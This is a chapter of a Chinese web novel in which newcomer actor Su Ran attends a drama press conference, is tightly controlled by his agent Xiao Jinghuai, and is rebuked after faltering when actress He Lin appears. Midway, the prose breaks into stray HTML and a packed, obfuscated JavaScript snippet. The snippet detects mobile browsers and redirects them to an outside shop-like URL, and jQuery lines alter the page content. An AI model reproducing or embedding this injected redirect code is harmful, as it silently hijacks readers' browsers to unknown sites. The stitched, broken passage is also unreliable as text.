平阜的深秋，天空是高而远的灰蓝色，空气干燥，带着隐约的煤烟与落叶混合的气味。
《踏鹤归》的媒体发布会选在市中心一家由旧纺织厂改造的艺术中心举行。裸露的红砖、挑高的钢架结构、巨大的工业风吊灯，与这部号称“新古典主义武侠”剧集的调性形成一种刻意的反差。
后台休息室，门紧闭着，隔绝了前场渐起的嘈杂。
苏燃已经换上了一身剪裁精良的深蓝色西装，衬得他肤色愈发冷白。化妆师刚刚完成最后定妆，镜子里的青年面容无可挑剔，眼神却有些空茫，手指无意识地摩挲着西裤侧缝。
“紧张？”
萧景淮站在苏燃侧后方，透过镜子与他对视。他今天依旧是一丝不苟的精致装扮，银灰色西装，同色系领带，金丝边眼镜后的目光平静无波，却带着一种无形的重量，缓缓压在苏燃肩头。
“有点。”苏燃老实承认。这是他第一次以主角的身份面对媒体，镁光灯和无数审视的目光即将倾泻而下。
“记住稿子上的回答范围。不该说的，一个字都不要说。”萧景淮走近几步，伸出手，极快地、近乎挑剔地替他正了正领带结，指尖微凉的触感擦过苏燃的喉结，带来一阵轻微的紧绷感。“微笑的弧度，眼神的落点，回答问题时微微侧头显出倾听姿态……训练营里重复过上千遍的东西，别让我看到你出错。”
他的语气平淡，却字字清晰，带着不容置疑的指令意味。这不仅仅是提醒，更是划定界限，在这个舞台上，苏燃的每一寸表现，都必须在萧景淮预设的轨道之内。
“我明白，萧哥。”苏燃垂下眼睫。
萧景淮似乎满意于他的顺从，但审视的目光并未移开，反而更仔细地打量着他的脸，“今天状态还行。继续保持这种‘恰到好处的疏离感’，沈归鹤需要这个。”他顿了顿，声音压低了些，几乎只有两人能听见，“至于你试镜时那些无关紧要的‘感觉’，收好。媒体不需要，观众也不需要。你只需要成为‘沈归鹤’。”
苏燃的心脏微微一缩。无关紧要？那些幻觉……他还没机会深究，就被轻描淡写地定性为需要摒弃的杂念。
门外传来工作人员礼貌的催促声。
萧景淮最后看了一眼苏燃，那目光像是工程师在检视即将投入运转的精密仪器，确认无误后，才微微颔首。“去吧。记住，你代表的不只是你自己，更是青田娱乐的脸面。”
发布会现场，镁光灯瞬间汇聚成灼热的白昼。
苏燃跟在导演和几位主要演员身后走上台，刺目的光线让他眼前短暂地花了一下。台下是黑压压的人头和无数闪烁的镜头，嗡嗡的议论声如同潮水。他按照训练过的步伐和姿态入座，背脊挺直，双手交叠放在膝上，目光平视前方，唇角勾起一个标准的、弧度经过计算的微笑。
流程按部就班。导演阐述创作理念，制片人介绍投资规模，其他演员分享角色理解。轮到苏燃时，问题果然集中在他这个“空降”的新人身上。
“苏燃你好，作为新人首次担纲如此重要制作的男主，是否有压力？如何看待外界对你资历的质疑？”一个语速很快的记者问道。
苏燃看向提问方向，微微侧头，露出训练过的、专注倾听的表情，然后开口，声音通过麦克风清晰传出，带着恰到好处的谦逊和坚定：“压力当然有，但更多的是动力。非常感谢剧组和公司的信任。我会尽我所能，理解沈归鹤，成为沈归鹤，不辜负这份期待和机会。” 完全是稿子上预设的回答，滴水不漏。
又有记者问：“听说这个角色竞争非常激烈，最终选定你，是否有什么特别的原因？或者，青田娱乐和萧景淮先生为你提供了怎样的支持？”
这个问题稍微偏离了安全区。苏燃感到身侧萧景淮的视线似乎扫了过来，尽管他的经纪人此刻正坐在台下第一排，姿态悠闲地交叠着双腿。苏燃停顿了半秒，选择了一个更安全的答案：“我认为是角色契合度和试镜时的表现吧。至于公司的支持，我非常感激萧景淮先生的指导和团队的付出，让我能心无旁骛地准备。” 他将功劳归于公司和角色本身，避开了个人层面的“特别原因”。
发布会平稳推进。就在临近尾声时，主持人忽然宣布了一个惊喜环节：“今天，我们还有一位特别来宾，也在百忙之中来到现场，为《踏鹤归》送上祝福——让我们欢迎，何琳！”
现场瞬间响起一片惊呼和更加密集的快门声。
苏燃的呼吸骤然一窒。
聚光灯猛地打向侧幕。何琳穿着一身简约的香槟色缎面长裙，款步走上台。她比荧幕上看起来更清瘦一些，但笑容明媚，顾盼生辉，瞬间夺走了全场的焦点。她接过话筒，声音清脆悦耳，说着祝福剧组、期待成片的客套话，目光礼貌地扫过台上众人。
当她的视线掠过苏燃时，并未多做停留，如同看待其他任何一位合作者一样，点头，微笑，然后移开。
那一瞬间，苏燃感到心脏被一种极其复杂的情绪攫住。是终于近距离看到梦中人的悸动，是她光芒万丈带来的眩晕，更是那视若无睹的、冰冷的现实——她真的，完全不认识他。
其实，这也很正常。毕竟多年前，校园里那场短暂的邂逅、舞台上的女孩儿，是他藏匿最深的梦想与仰望，从未敢说出口，比他高一年的何琳怎么可能知道。
台下，萧景淮微微眯起了眼睛，手指在膝上极轻地点了一下。
何琳的环节很快结束，她在保镖和助理的簇拥下优雅离场，留下一片兴奋的余波。发布会也到了尾声。
回到后台，门刚关上，萧景淮便走了进来，挥手让助理和化妆师先出去。休息室里只剩下他们两人。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228477|197577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“发布会整体还行，”萧景淮先肯定了一句，随即话锋一转，语气冷了下来，“但何琳出场的时候，你失态了。”
苏燃抿紧嘴唇，没有辩解。他知道自己那一刻的僵硬，瞒不过萧景淮的眼睛。
“我不管你对何琳存着什么心思，”萧景淮走到他面前，距离近得带来强烈的压迫感，镜片后的目光锐利如刀，“在这个圈子里，情绪是奢侈品，更是把柄。你今天的失神，如果被有心人捕捉、放大，会变成什么？‘新人男主角发布会现场对前辈女星失态凝视’？‘借机炒作’？还是更不堪的猜测？”他的声音不高，却字字冰冷，“苏燃，你的价值在于干净、专注、可塑。任何可能玷污这份‘干净’，分散这份‘专注’的因素，都必须被剔除。明白吗？”
这不是询问，是命令。
苏燃感到一阵寒意从脊椎升起。他想说那只是意外，想说他对何琳并无非分之想，但在萧景淮洞悉一切般的目光下，任何辩解都显得苍白无力。他只能低下头：“对不起，萧哥。我下次会注意。”
“没有下次。”萧景淮斩钉截铁，“从今天起，到这部剧宣传期结束，我不希望再看到你因为任何与工作无关的人或事，出现今天这样的状况。你的眼里，心里，只能有沈归鹤，只能有这部戏。这是你目前唯一的价值所在，也是你站到这里的原因。别让我觉得，选错了人。”
最后几个字，他说得很轻，却重若千钧。
苏燃攥紧了垂在身侧的手，指甲陷入掌心。他能感觉到萧景淮的目光落在他脸上，仿佛在评估这件“作品”上是否出现了不该有的瑕疵。
“回去好好准备，一周后进组。”萧景淮终于后退一步，恢复了那副波澜不惊的模样，“剧本围读和武训日程助理会发给你。”
他转身离开，休息室的门开了又关，将苏燃独自留在原地。
空气中还残留着萧景淮身上极淡的、冷冽沉凝的气息。苏燃慢慢松开拳头，掌心留下几个深深的月牙印。他走到镜前，看着里面那张被精心修饰、无可挑剔的脸。
为了站在有她的舞台上，他走进了这个光怪陆离的世界。可当他终于离舞台中心近了一些，却发现一切都和预想中的不一样，他与她之间的距离非但没有拉进，反而好像变得更遥远了。
手机屏幕亮起，是助理发来的进组前密密麻麻的日程表。
窗外的平阜城华灯初上，巨大的广告牌上轮换着当红明星的面孔，都市的霓虹流光溢彩，却也冰冷彻骨。
苏燃深吸一口气，闭上眼，再睁开时，镜中人的眼神已重新归于平静，甚至比之前更加空洞几分。
他必须成为沈归鹤。至少，在萧景淮看见的范围内，在聚光灯下。
至于其他，经纪人先生定性为“无关紧要”的东西，此刻，他无力深究，也不敢深究。